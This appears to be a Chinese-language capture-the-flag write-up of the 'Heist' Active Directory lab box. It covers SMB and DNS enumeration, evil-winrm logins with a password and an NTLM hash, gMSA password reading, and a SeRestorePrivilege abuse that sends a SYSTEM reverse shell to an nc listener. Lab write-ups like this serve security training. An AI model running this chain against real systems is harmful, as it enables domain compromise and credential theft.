[*] msrpc found on tcp/49666. [*] msrpc found on tcp/49667. [*] ncacn_http found on tcp/49673. [*] msrpc found on tcp/49674. [*] msrpc found on tcp/49677 [*] msrpc found on tcp/49704. [*] msrpc found on tcp/49786.
[*] domain found on udp/53.
[*] kerberos-sec found on udp/88.
[*] ntp found on udp/123.
domain dig
首先添加heist.offsec和dc1.heist.offsec到 /etc/hosts中，
1 2 3 4 5 6
dig @192.168.149.165 AXFR heist.offsec
; <<>> DiG 9.20.2-1-Debian <<>> @192.168.149.165 AXFR heist.offsec ; (1 server found) ;; global options: +cmd ; Transfer failed.
rpcclient
1 2
rpcclient 192.168.149.165 -N Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
smbclient -L //192.168.149.165 -U enox Password for [WORKGROUP\enox]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.149.165 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available smbclient //192.168.149.165/netlogon -U enox Password for [WORKGROUP\enox]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jul 20 19:01:21 2021 .. D 0 Tue Jul 20 19:01:21 2021
7706623 blocks of size 4096. 3249419 blocks available smb: \> exit smbclient //192.168.149.165/sysvol -U enox Password for [WORKGROUP\enox]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jul 20 19:01:21 2021 .. D 0 Tue Jul 20 19:01:21 2021 heist.offsec Dr 0 Tue Jul 20 19:01:21 2021
7706623 blocks of size 4096. 3249419 blocks available smb: \> cd heist.offsec smb: \heist.offsec\> ls . D 0 Tue Jul 20 19:07:47 2021 .. D 0 Tue Jul 20 19:07:47 2021 DfsrPrivate DHSr 0 Tue Jul 20 19:07:47 2021 Policies D 0 Tue Jul 20 19:01:30 2021 scripts D 0 Tue Jul 20 19:01:21 2021
evil-winrm 登录成功
1 2 3 4 5 6 7 8 9 10 11
evil-winrm -i 192.168.149.165 -u enox -p california Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\enox\Documents> ls *Evil-WinRM* PS C:\Users\enox\Documents> cd ..
测试bloodhound中给出的gMSADumper.py, 执行后只是列出来who can read， 这些是我们已经知道的了。
1 2 3 4 5 6 7
python gMSADumper.py -u enox -p california -d heist.offsec Unable to start a TLS connection. Is LDAPS enabled? Only ACLs will be listed and not ms-DS-ManagedPassword.
Users or groupswho can read password for svc_apache$: > DC01$ > Web Admins
evil-winrm -i 192.168.149.165-u "svc_apache$" -H "0c43e5ad6bc9104cfb94d56f4aecb4ab" Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() functionis unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_apache$\Documents> ls
Directory: C:\Users\svc_apache$\Documents
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/14/2021 8:27 AM 3213 EnableSeRestorePrivilege.ps1
Privilege Name Description State ================================================================== SeMachineAccountPrivilege Add workstations to domain Enabled SeRestorePrivilege Restore files and directories Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeRestorPrivilege
SeRestorePrivilege 是 Windows 操作系统中的一种特权（Privilege），全称是 “Restore files and directories” （恢复文件和目录）。它属于安全特权的一部分，通常由系统管理员或高权限账户持有，用于执行涉及系统级恢复或修改的操作。
*Evil-WinRM* PS C:\Users\svc_apache$> upload SeRestoreAbuse.exe Info: Uploading /home/kali/Tools/pg/Heist/SeRestoreAbuse.exe to C:\Users\svc_apache$\SeRestoreAbuse.exe Data: 22528 bytes of 22528 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\svc_apache$> upload r.exe Info: Uploading /home/kali/Tools/pg/Heist/r.exe to C:\Users\svc_apache$\r.exe Data: 9556 bytes of 9556 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\svc_apache$> .\SeRestoreAbuse.exe C:\Users\svc_apache$\r.exe RegCreateKeyExA result: 0 RegSetValueExA result: 0 SeRestoreAbuse.exe : start-service : Service 'Secondary Logon (seclogon)' cannot be started due to the following error: Cannot start
1 2 3 4 5 6 7 8 9
rlwrap nc -nvlp 443 listening on [any] 443 ... connectto [192.168.45.165] from (UNKNOWN) [192.168.149.165] 52353 Microsoft Windows [Version 10.0.17763.2061] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
Gitalk 加载中 ...